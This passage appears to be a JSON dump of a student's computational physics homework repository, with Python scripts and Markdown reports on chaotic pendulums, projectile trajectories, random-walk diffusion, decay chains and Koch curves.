as t\ndef koch(level, size):\n if level == 0:\n t.forward(size)\n return\n else:\n for angle in [60, -120, 60, 0]:\n koch(level-1, size/3)\n t.left(angle)\n\nt.hideturtle()\nt.up()\nt.setx(-t.window_width()/2)\nt.down()\nt.speed(0)\n\nkoch(5,t.window_width())\n\nt.exitonclick()"},{"alpha_fraction":0.4715127646923065,"alphanum_fraction":0.531434178352356,"avg_line_length":24.230770111083984,"blob_id":"3e5540d44d5240fc15035cd5d27a9e7ddef824c5","content_id":"6aaa0dea68240092b4ad5a4334ad1bafd3a2ceb6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1018,"license_type":"no_license","max_line_length":73,"num_lines":39,"path":"/chaos.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import matplotlib.pyplot as plt\nimport math\ng=9.8\ndef chaos(theta,l,q,F_D,w_D):\n w=[0]\n Theta=[theta]\n dt=0.01\n i=0\n t=[0]\n T=0\n while T<=100:\n t_i=t[i]\n w_i=w[i]\n theta_i=Theta[i]\n w_dt=w_i-((g/l)*math.sin(theta_i)+q*w_i-F_D*math.sin(w_D*t_i))*dt\n theta_dt=theta_i+w_dt*dt\n while theta_dt>math.pi:\n theta_dt=theta_dt-2*(math.pi)\n while theta_dt<(-math.pi):\n theta_dt=theta_dt+2*(math.pi)\n T=t_i+dt\n w.append(w_dt)\n Theta.append(theta_dt)\n t.append(T)\n i=i+1\n return Theta,t,w\nCH=chaos(0.2,9.8,0.5,1.2,2/3)\n\n#CHo=chaos(0.2,9.8,0.5,0,2/3)\nCH2=chaos(0.3,9.8,0.5,0.5,2/3)\nplt.xlabel('theta/radians')\nplt.ylabel('w/radians/s')\nplt.title('w versus theta')\n\nline1=plt.plot(CH[0],CH[2],label='F_D=1.2',color='black')\n#line2=plt.plot(CHo[1],CHo[0],label='F_D=0',color='red')\n#line3=plt.plot(CH2[0],CH2[2],label='F_D=0.5',color='black')\nplt.legend()\nplt.show()\n \n \n "},{"alpha_fraction":0.6590418815612793,"alphanum_fraction":0.7936987280845642,"avg_line_length":61.56756591796875,"blob_id":"4c05f105be66afcea8d0a716aff54a06d2b381b8","content_id":"b24dd243914110a4d6f3a79cf0fe82999977c1fe","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":2841,"license_type":"no_license","max_line_length":202,"num_lines":37,"path":"/README.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"# computationalphysics_N2015301020090\n姓名：贾雪巍 学号：2015301020090\ntextbook:Computational Physics, Nicholas J. Giordano & Hisao Nakanishi\n\n\nHomework List\n=============\n\n## Homework_01: \n> - 推荐安装linux系统（不安装亦可完成本课程学习）\n> - 安装python 2.7运行环境（非linux环境请安装狂蟒之灾）\n> - 注册github账户，建立自己针对计算物理课程的软件池（repository），命名方式compuational_physics_NXXXXXXX（XXXXXXX为个人的学号）所有的源代码和图片应上传到这里\n> - 在这个软件池中按照markdown语法书写自己的第一个README.md，内容主要为你接下来所有作业的链接\n## Homework_02:\n> - 自己用How to think like a computer scientist – Learning with Python: Interactive Edition 2.0进行python语法练习\n> - 编写一个python程序，在屏幕上用字母拼出自己的英文名字（本来想让大家拼自己的中文名字，但对有些同学来说不太公平^_^ ）[**作业链接**](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/jiaxuewei%20leisiwole.py)(I'm still working on it!)\n> - 核对自己在2016年秋季计算物理课程学生列表中自己的分班和作业链接是否正确，有问题下次上课一并更正(2016???)\n## [Homework_03](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/homework_03.md)\n> - 使自己的名字移动\n## [Homewor_04](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch1-1.4.md)\n> - 第一章习题任选一题\n## [Homework_05](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch2.md)\n## [Homework_06](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Baseball.md)\n> - Baseball\n## [Homework_07](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Chaos.md)\n> - Chaos\n## [Homework_08](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Ch3/lorenz.md)\n> - Lorenz Model\n\n## [Homework_09](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/homework8/Chapter_three_chaos_section3.7.md)\n## [Mid-term](https://scratch.mit.edu/projects/185313150/#player)\n## [Homework_10](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch4/The%20Three-Body%20Problem.md)\nThree body problem\n## [Homework_11](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/CH5/Electric%20Potentials%20.md)\n## [Homework_12](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch6/Waves:%20The%20ideal%20Case.md)\n## [Final project](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/final/Random%20Systems.md)\n[**Final project_markdown**](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/final/Random%20Systems.md)\n\n\n"},{"alpha_fraction":0.6995423436164856,"alphanum_fraction":0.7478302121162415,"avg_line_length":80.21794891357422,"blob_id":"ea15556e0a6ea4b8fc262cd96c854c203066c229","content_id":"520e8cdcb6576bf6a8ef37b4e31dbc81e7708438","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":6345,"license_type":"no_license","max_line_length":1665,"num_lines":78,"path":"/Chaos.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"\n\n\n> Written with [StackEdit](https://stackedit.io/).\n# Chapter_three_section3.3\n----------\n贾雪巍2015301020090\n\n## Chaos in the Driven Nonlinear Pendulum\n-------\nProblem 3.12\n\n-----------\n## Background\n-----\n\nOne example of a single pendulum is a particle of mass m connected by a massless string to a rigid surpport.We let <a href=\"http://www.codecogs.com/eqnedit.php?latex=\\theta\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\theta\" title=\"\\theta\" /></a>be the angle that the string makes with the vertical and assume that the string is always taut,as in figure.We also assume there are only two forces acting on the particle,gravity and the tension of the string.The force perpendicular to the string is given by <a href=\"http://www.codecogs.com/eqnedit.php?latex=F_{\\theta}=-mgsin\\theta\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?F_{\\theta}=-mgsin\\theta\" title=\"F_{\\theta}=-mgsin\\theta\" /></a>.Here we use the **Euler-Cromer method** to solve the problem.And we add some damping to the model.Assume that damping force is proportional to the velocity.Also, consider the addition of a driving force to the problem.A convenient choice is to assume that the driving force is sinusodial with time,with amplitude F_D and angular frequency <a href=\"http://www.codecogs.com/eqnedit.php?latex=\\Omega_D\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\Omega_D\" title=\"\\Omega_D\" /></a>.These lead to the equation of motion <a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{d^2\\theta&space;}{dt^2}=-\\frac{g}{l}sin\\theta-q\\frac{d\\theta}{dt}+F_Dsin(\\Omega_Dt)\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{d^2\\theta&space;}{dt^2}=-\\frac{g}{l}sin\\theta-q\\frac{d\\theta}{dt}+F_Dsin(\\Omega_Dt)\" title=\"\\frac{d^2\\theta }{dt^2}=-\\frac{g}{l}sin\\theta-q\\frac{d\\theta}{dt}+F_Dsin(\\Omega_Dt)\" /></a>\nl is the length of the string.Rewrite it as two first-order diiferential equation<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{dw&space;}{dt}=-\\frac{g}{l}sin\\theta-q\\frac{d\\theta}{dt}+F_Dsin(\\Omega_Dt)\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{dw&space;}{dt}=-\\frac{g}{l}sin\\theta-q\\frac{d\\theta}{dt}+F_Dsin(\\Omega_Dt)\" title=\"\\frac{dw }{dt}=-\\frac{g}{l}sin\\theta-q\\frac{d\\theta}{dt}+F_Dsin(\\Omega_Dt)\" /></a>,<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{d\\theta&space;}{dt}=w\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{d\\theta&space;}{dt}=w\" title=\"\\frac{d\\theta }{dt}=w\" /></a>.\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/chaos.py)\n---------------------\n## Results&Analysis\n---------------\n1.theta as function of time\nq=0.5,l=g=9.8,theta(0)=0.2,w(0)=0,w_D=2/3\n(parameters in the text book)\n\nThe vertical jumps in theater due to resetting of the angle to keep it in the range -pi to pi and thus correspond to the pendulum swinging \"over the top\".\n\n----------\nWithout resetting the angle,F_D=1.2\n\nWe see that pendulum does not settle into any sort of repeating steady behavior .\n**At high drive the motion is chaotic!**\nFrom the text book we know that in chaotic condition two pendulum with slightly different initial parameters their difference increased rapidly and irregularly .The diverge exponentially fast.\n \n----\n2.phase-space plot\nOur text book said it is possible to make certain accurate predictions in chaotic conditions by ploting w as function of theta(phase-space).Let's have a try ;-)\n\nthe pendulum settles into a regular orbit\n\n-----\nT=100s\n\nT=1000s\n\n\n(I think there are many horizontal lines because of resetting angles from -pi to pi)\n\n3.Poincare section\nThen we plot w versus theta only at times that w_D=2npi,where n is an integer.\n\nfor F_D=0.5,T=100s or T=10000s(same)\n\nfor F_D=1.2\n\n\n----------------\n maximum of the drive force,F_D=1.2\n \n\n-------------\n pi/4 out-of-phase\n initial theta=0.2\n \n initial theta=2\n \n initial theta=20\n \n \n ----------\nIt's not sensitive to the initial value.\n\"special attractor\"?\nThe behavior in the chaotic regime is not completely random,but can be describe by a strange attractor in phase space.\n## Attractor in wikipedia\nIn the mathematical field of dynamical systems, an attractor is a set of numerical values toward which a system tends to evolve, for a wide variety of starting conditions of the system. System values that get close enough to the attractor values remain close even if slightly disturbed.\n\nAn attractor is called strange if it has a fractal structure. This is often the case when the dynamics on it are chaotic, but strange nonchaotic attractors also exist. If a strange attractor is chaotic, exhibiting sensitive dependence on initial conditions, then any two arbitrarily close alternative initial points on the attractor, after any of various numbers of iterations, will lead to points that are arbitrarily far apart (subject to the confines of the attractor), and after any of various other numbers of iterations will lead to points that are arbitrarily close together. Thus a dynamic system with a chaotic attractor is locally unstable yet globally stable: once some sequences have entered the attractor, nearby points diverge from one another but never depart from the attractor.\n \n"},{"alpha_fraction":0.4920993149280548,"alphanum_fraction":0.5808879137039185,"avg_line_length":19.184616088867188,"blob_id":"a4c8eb9118d4bd1cac30c19b7feab6acb1874e2e","content_id":"a2aeab93fd419576ab6837a96920b051a3e56663","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1347,"license_type":"no_license","max_line_length":43,"num_lines":65,"path":"/final/multiparticles.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import random\n#import numpy as np\nimport matplotlib.pyplot as plt\ndef randpath(n,time):#n number\n initial=[]\n x=[]\n bb=[]\n for i in range(1,2*n):\n x.append(-n+i)\n bb.append(0)\n if i==n:\n initial.append(n)\n else:\n initial.append(0)\n for j in range(n):\n X=[]\n X.append(0) \n for k in range(time): \n c=random.random()\n if c<=0.5:\n X.append(X[-1]+1)\n if c>0.5:\n X.append(X[-1]-1)\n ct=x.index(X[-1])#一个walker最后停止的坐标\n bb[ct]=bb[ct]+1#+1\n if time==0:\n return x,initial\n else:\n return x,bb\nplt.figure(figsize=(12,7))\nax1=plt.subplot(811)\nax2=plt.subplot(812)\nax3=plt.subplot(813)\nax4=plt.subplot(814)\nax5=plt.subplot(815)\nax6=plt.subplot(816)\nax7=plt.subplot(817)\nax8=plt.subplot(818)\nax1.set_title('Diffusion in one dimension')\nplt.sca(ax1)\na,b=randpath(1000,0)\nplt.plot(a,b)\nplt.sca(ax2)\na,b=randpath(1000,10)\nplt.plot(a,b)\nplt.sca(ax3)\na,b=randpath(1000,100)\nplt.plot(a,b)\nplt.sca(ax4)\na,b=randpath(1000,500)\nplt.plot(a,b)\nplt.sca(ax5)\na,b=randpath(1000,1000)\nplt.plot(a,b)\nplt.sca(ax6)\na,b=randpath(1000,2000)\nplt.plot(a,b)\nplt.sca(ax7)\na,b=randpath(1000,4000)\nplt.plot(a,b)\nplt.sca(ax8)\na,b=randpath(1000,8000)\nplt.plot(a,b)\n\nplt.show() \n "},{"alpha_fraction":0.7117035984992981,"alphanum_fraction":0.7871667146682739,"avg_line_length":38.35714340209961,"blob_id":"1971521f0dda41bc77d3bcb6af7262e5479f3398","content_id":"efbc6ca52e51935da1e244da69c5e83ad3ea1929","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":2213,"license_type":"no_license","max_line_length":311,"num_lines":56,"path":"/homework8/Chapter_three_chaos_section3.7.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"# Chapter_three_chaos_section3.7\n\nProblem 3.31*\n\n## Background\n\nHere we consider the problem of a ball moving without friction on a horizontal table.Imagine there are walls at the edges of table that reflect the ball perfectly and there is no frictional force between the ball and the table.We will ignore any complications associated with the momentum of the ball.\n\nBetween the collisions the motion of the ball is very simple.The key part of the program is the treatment of collisons.The way our textbook recommends can save some work for my computer,but I just took a smaller step at the beginning and then corrected the coordinate by the way I learned from a former student.\n\nIn this section,we take the **table shape** as stadium shape.Imagine a circular table of radius r=1.Cut the table along the x axis and pull the two semicircular halves apart along y axis, a distance 2alpha*r.Then fill in with straight segments.\n\nProblem 3.31 consider a circular interior wall located in the table.\n\n\n\n## [Codes](https://github.com/jxw666/computationalphysics_N2015301020090/tree/master/homework8/code)\n\n## Results&Analysis\n\n1.alpha=0&alpha=0.01\n\n---\n\n\n\nTrajectory\n\n\n\n The corrosponding phase-space plot(y=0)\n\n\n\n\n\n2.with a circular interior wall located in the center\n\n---\n\nTrajectory&phase-space plot\n\n\n\n\n\n3.with a circular interior wall located slightly off-center\n\n\n\n\n\n\n----\n\n When the parameters above are equal to some other value,the plots go crazy!I think the way to solve this is to figure out a better way to deal with the collision.\n\n\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.4972067177295685,"alphanum_fraction":0.5522745251655579,"avg_line_length":23.568628311157227,"blob_id":"13f096cdae98ad720675a6bc94924da98b29838d","content_id":"fd1f83f94c5732b7a6c38c29a79d83e006b61adc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1265,"license_type":"no_license","max_line_length":69,"num_lines":51,"path":"/ch2.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import matplotlib.pyplot as plt\nimport math\nimport numpy as np\ng=9.8\ndef Trajectory(velocity,angle,Temp):\n velocity_x=[velocity*math.cos(angle)]\n velocity_y=[velocity*math.sin(angle)]\n dt=0.1\n x=[0]\n y=[0]\n i=0\n y_dt=1\n while y_dt>0: \n vxi=velocity_x[i]\n vyi=velocity_y[i]\n v=math.sqrt(vxi**2+vyi**2)\n B=(Temp/300)**2.5*(1-6.5*10**(-3)*y[i]/Temp)**2.5*4*10**(-5)\n vx_dt=vxi-B*v*vxi*dt\n vy_dt=vyi-B*v*vyi*dt-g*dt#g*(6371/(6371+y[i]/1000))**2考虑g的影响时\n x_dt=x[i]+vxi*dt\n y_dt=y[i]+vyi*dt\n if y_dt<0:\n r=-y[-1]/y_dt\n x_dt=(x[-1]+r*x_dt)/(r+1)\n y_dt=0\n range=x_dt\n x.append(x_dt)\n y.append(y_dt)\n velocity_x.append(vx_dt)\n velocity_y.append(vy_dt)\n i=i+1\n return x,y,range\n\nalpha=[]\nRange=[]\nplt.xlabel('x/m')\nplt.ylabel('y/m')\nplt.title('The trajectory of a cannon shell')\nfor i in range(10):\n angle=i*math.pi/20\n t=Trajectory(700,angle,300)\n plt.plot(t[0],t[1])\n #alpha.append(angle)\n #Range.append(t[2]) #to get the maximum range\nplt.xlim(0,30000)\n#plt.plot(np.array(alpha),np.array(Range),'o')\nplt.show()\n#R=max(Range)\n#l=Range.index(R)\n#A=alpha[l]/math.pi*180\n#print(A,R)\n"},{"alpha_fraction":0.5411816239356995,"alphanum_fraction":0.6026795506477356,"avg_line_length":83.31481170654297,"blob_id":"27d804de340e17a390dc5a1b96782c3320a4cee1","content_id":"2bed47fdcebd15cc50d42a714b305327754893b7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":4747,"license_type":"no_license","max_line_length":412,"num_lines":54,"path":"/ch1-1.4.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"> Written with [StackEdit](https://stackedit.io/).\n\n\n\n\n# Chapter_one_problem1.4\n------------------------------------------\n\n\n## Problem1.4（链式反应）\n\n--------------------\nA and B are two type of nucleus. Suppose that A decay and form B,which then also decay.Use Euler method to solve the coupled equations\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$&space;\\frac{dN_A}{dt}=-\\frac{N_A}{\\tau_A}$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$&space;\\frac{dN_A}{dt}=-\\frac{N_A}{\\tau_A}$$\" title=\"$$ \\frac{dN_A}{dt}=-\\frac{N_A}{\\tau_A}$$\" /></a>\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$\\frac{dN_B}{dt}=\\frac{N_A}{\\tau_A}-\\frac{N_B}{\\tau_B}$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\frac{dN_B}{dt}=\\frac{N_A}{\\tau_A}-\\frac{N_B}{\\tau_B}$$\" title=\"$$\\frac{dN_B}{dt}=\\frac{N_A}{\\tau_A}-\\frac{N_B}{\\tau_B}$$\" /></a>\n\nN<sub>A</sub>(t) and N<sub>B</sub>(t) are the populations.\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$\\tau_A$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$\\tau_A$\" title=\"$\\tau_A$\" /></a>and<a href=\"http://www.codecogs.com/eqnedit.php?latex=$\\tau_B$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$\\tau_B$\" title=\"$\\tau_B$\" /></a>are the decay time constant.\nCompare numerical results to analytic solutions.\nExplore the behavior according to different values of the ratio$\\frac{\\tau_A}{\\tau_B}$.In particular, try to interpret the short and long time behaviors for different values of this ratio.\n## 计算方法\n-------------------------\n\n输入各个常数，利用loop把利用Euler方法算出的值计入A,B list中，用matplotlib画图比较。 \n[code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Ch1_1.4.py)\n\n## 结果分析\n------------------------------\n解析解为\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$N_A=N_{A0}e^-\\frac{t}{\\tau_A}$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$N_A=N_{A0}e^-\\frac{t}{\\tau_A}$$\" title=\"$$N_A=N_{A0}e^-\\frac{t}{\\tau_A}$$\" /></a>\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$N_B=N_{A0}\\frac{\\tau_B}{\\tau_A-\\tau_B}(e^-\\frac{t}{\\tau_A}-e^-\\frac{t}{\\tau_B})+N_{B0}$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$N_B=N_{A0}\\frac{\\tau_B}{\\tau_A-\\tau_B}(e^-\\frac{t}{\\tau_A}-e^-\\frac{t}{\\tau_B})+N_{B0}$$\" title=\"$$N_B=N_{A0}\\frac{\\tau_B}{\\tau_A-\\tau_B}(e^-\\frac{t}{\\tau_A}-e^-\\frac{t}{\\tau_B})+N_{B0}$$\" /></a>\n\n------------------------------------------------\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=T=100,dt=1,$N_{A0}=20$,$N_{B0}=0$:\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?T=100,dt=1,$N_{A0}=20$,$N_{B0}=0$:\" title=\"T=100,dt=1,$N_{A0}=20$,$N_{B0}=0$:\" /></a>\n\n\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=T=100,dt=0.1,$N_{A0}=20$,$N_{B0}=0$:\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?T=100,dt=0.1,$N_{A0}=20$,$N_{B0}=0$:\" title=\"T=100,dt=0.1,$N_{A0}=20$,$N_{B0}=0$:\" />\n</a>\n\n\n结论1:dt适当变小数值解与解析解更接近\n-------------------------------------------\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=10$,$\\tau_A=1000$,$\\tau_B=1$($\\tau_A$/$\\tau_B$>>1):\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=10$,$\\tau_A=1000$,$\\tau_B=1$($\\tau_A$/$\\tau_B$>>1):\" title=\"T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=10$,$\\tau_A=1000$,$\\tau_B=1$($\\tau_A$/$\\tau_B$>>1):\" /></a>\n\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=0$,$\\tau_A=1000$,$\\tau_B=1$($\\tau_A$/$\\tau_B$>>1):\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=0$,$\\tau_A=1000$,$\\tau_B=1$($\\tau_A$/$\\tau_B$>>1):\" title=\"T=10000,dt=0.1,$N_{A0}=10$,$N_{B0}=0$,$\\tau_A=1000$,$\\tau_B=1$($\\tau_A$/$\\tau_B$>>1):\" /></a>\n\n\n结论2:\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$\\tau_A$/$\\tau_B$>>1\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$\\tau_A$/$\\tau_B$>>1\" title=\"$\\tau_A$/$\\tau_B$>>1\" /></a>时，B先增多后减少，随时间增大\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$\\tau_A$/$\\tau_B$<<1\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$\\tau_A$/$\\tau_B$<<1\" title=\"$\\tau_A$/$\\tau_B$<<1\" /></a>时，A迅速减少，B迅速增加再逐渐衰变减少\n"},{"alpha_fraction":0.46236559748649597,"alphanum_fraction":0.5199692845344543,"avg_line_length":23.129629135131836,"blob_id":"de6587e24e614a9e277ca95f33a03eadff2d1ad4","content_id":"dd5fea44733c8d76dbcd61fd066b1d28f31785d9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1302,"license_type":"no_license","max_line_length":115,"num_lines":54,"path":"/ch3.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import matplotlib.pyplot as plt\nimport math\ng=9.8\ndef Trajectory(v,w,theta):\n velocity_x=[v]\n velocity_y=[0]\n velocity_z=[0]\n dt=0.01\n x=[0]\n y=[10]\n z=[0] \n i=0\n y_dt=1\n while y_dt>0 :\n theta=theta+w*dt\n F_lateral=0.5*g*(math.sin(4*theta)-0.25*math.sin(8*theta)+0.08*math.sin(12*theta)-0.025*math.sin(16*theta))\n vxi=velocity_x[i]\n vyi=velocity_y[i]\n vzi=velocity_z[i] \n v=math.sqrt(vxi**2+vyi**2+vzi**2)\n B=0.0039+0.0058/(1+math.exp((v-35)/5))\n vx_dt=vxi-B*v*vxi*dt+F_lateral*math.sin(theta)\n vy_dt=vyi-B*v*vyi*dt-g*dt\n vz_dt=vzi-B*v*vzi*dt+F_lateral*math.cos(theta)-4.1*10**(-4)*vxi*w\n x_dt=x[i]+vxi*dt\n y_dt=y[i]+vyi*dt\n z_dt=z[i]+vzi*dt\n if y_dt<0:\n r=-y[-1]/y_dt\n x_dt=(x[-1]+r*x_dt)/(r+1)\n y_dt=0\n range=x_dt\n x.append(x_dt)\n y.append(y_dt)\n z.append(z_dt)\n velocity_x.append(vx_dt)\n velocity_y.append(vy_dt)\n velocity_z.append(vz_dt)\n i=i+1\n return x,y,z,range\n\n\n\n\n\nplt.xlabel('x/m')\nplt.ylabel('y/m')\nfor i in range(11):\n t=Trajectory(5*i,math.pi/3,math.pi/2)\n plt.plot(t[0],t[1],label=5*i)\n#plt.xlim(0,180)\nplt.title('x-y,v=50m/s,w=pi/3')\nplt.legend()\nplt.show()"},{"alpha_fraction":0.5163853168487549,"alphanum_fraction":0.7090367674827576,"avg_line_length":34.96428680419922,"blob_id":"b450b411087795962a088f0412dd85f70dbb2ddd","content_id":"2d399099d7d8ef5f27efa1465414b57070245459","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1047,"license_type":"no_license","max_line_length":118,"num_lines":28,"path":"/a simple one.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"Different levels of Koch curve can be obtained by this code\n```import turtle as t\ndef koch(level, size):\n if level == 0:\n t.forward(size)\n return\n else:\n for angle in [60, -120, 60, 0]:\n koch(level-1, size/3)\n t.left(angle)\n\nt.hideturtle()\nt.up()\nt.setx(-t.window_width()/2)\nt.down()\nt.speed(0)\n\nkoch(5,t.window_width())\n\nt.exitonclick() \n```\n\nset level= 1,2,3,4,5\n\n\n\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5700934529304504,\n \"alphanum_fraction\": 0.6181575655937195,\n \"avg_line_length\": 32.04411697387695,\n \"blob_id\": \"734ebb097abe391be7180f919d761f9ba63ba683\",\n \"content_id\": \"6cbb366a679d7c0bb118ca503ce44ba19c2b56f4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2305,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 68,\n \"path\": \"/CH5/ch5.py\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\nimport matplotlib.pyplot as plt\\nfrom mpl_toolkits.mplot3d import Axes3D\\nfrom matplotlib import cm\\n#1.initialize-V\\ndelta=0.1\\nV_old=[[0.]*(int(1+1/delta))for i in range(int(1+1/delta))]\\nfor i in range(1+int(round(0.3/delta))):#int(0.3/0.1)=2\\n V_old[int(round(0.3/delta))][i]=-1#借鉴上官俊怡学姐的代码，设置初值\\ndeltaV=100\\n#2.update-V\\nwhile deltaV >=len(V_old)**2*10**(-5):\\n V_new=[[0.]*len(V_old)for i in range(len(V_old))]\\n for i in range(1,len(V_old)-1):\\n for j in range(1,len(V_old)-1):\\n V_new[i][j]=(V_old[i-1][j]+V_old[i+1][j]+V_old[i][j-1]+V_old[i][j+1])/4\\n for j in range(1,len(V_old)-1):\\n V_new[0][j]=(V_old[0][j-1]+V_old[0][j+1])/4\\n for k in range(1,len(V_old)-1):\\n V_new[k][0]=(V_old[k-1][0]+V_old[k+1][0]+2*V_old[k][1])/4\\n V_new[0][0]=V_old[0][1]/2\\n for l in range(1+int(round(0.3/delta))):\\n V_new[int(round(0.3/delta))][l]=-1.\\n b=[]\\n for i in range(len(V_old)):\\n a=[abs(V_old[i][j]-V_new[i][j]) for j in range(len(V_old))]\\n b.append(max(a))\\n deltaV=max(b)\\n V_old=V_new\\nN=len(V_old)#这里也借鉴了上官俊怡的代码\\nV1=np.transpose(V_old)#1st Quadrant\\nV3=[[0.]*(N-1) for i in range(N)]#3rd quadrant\\nfor i in range(N):\\n for j in range(N-1):\\n V3[i][j]=-V1[N-1-i][N-1-j]\\n#add the 4th qudrant to V3 using extend\\nfor i in range(N):\\n V3[i].extend(V1[N-1-i])\\n#add the 1st&2nd qudrant using +\\nV_whole=V3\\nfor i in range(N-1):\\n V_whole=V_whole+[V3[N-2-i]]\\ndel V1,V3 \\n \\nx=np.linspace(-1,1,len(V_whole))\\nX,Y= np.meshgrid(x,x)\\nfig = plt.figure()\\n\\n\\n#ax = Axes3D(fig)\\n#ax.set_xlabel('x')\\n#ax.set_ylabel('y')\\n#ax.set_zlabel('Electric Potential/V')\\n#ax.set_title('Electric Potential Distribution Near Two Metal Plates') \\n#surf=ax.plot_surface(X,Y,V_whole, rstride=1, cstride=1, cmap=cm.viridis)\\n#fig.colorbar(surf, shrink=0.5, aspect=5)\\n#wframe = ax.plot_wireframe(X, Y, V_whole, rstride=2, cstride=2)\\n#CS = plt.contour(X, Y, V_whole, 15, linewidths=0.5, colors='k')\\n#CS = plt.contourf(X, Y, V_whole, 15)\\nplt.xlabel('x')\\nplt.ylabel('y')\\n#plt.title('Electric Potential Distribution Near Two Metal Plates')\\n#plt.colorbar() # draw colorbar\\nEY,EX=np.gradient(V_whole)\\nEX,EY=-EX,-EY\\nplt.quiver(X,Y, EX, EY)\\nplt.title('Electric field near two metal plates')\\nplt.show()\\n\"\n },\n {\n \"alpha_fraction\": 0.6306939125061035,\n \"alphanum_fraction\": 0.6939390301704407,\n \"avg_line_length\": 68.27825927734375,\n \"blob_id\": \"a328fa6e59fc96793afcd1618caffaf2736cfcf6\",\n \"content_id\": \"20b140abe0eefcfefb9ddac4cb729833c9901ec0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 7991,\n \"license_type\": \"no_license\",\n \"max_line_length\": 336,\n \"num_lines\": 115,\n \"path\": \"/ch2.md\",\n \"repo_name\": \"jxw666/computationalphysics_N2015301020090\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\n\\n\\n> Written with [StackEdit](https://stackedit.io/).\\n# Chapter_two_section2.2\\nproblem2.7&8\\n\\n贾雪巍 2015301020090\\n\\n----------\\n\\n\\n## The Trajectory of a Cannon Shell\\n------------------------------------\\nConsider a projectile such as a shell shot by a cannon.If we ignore air resistance,the equation of motions can be obtained from Newton's 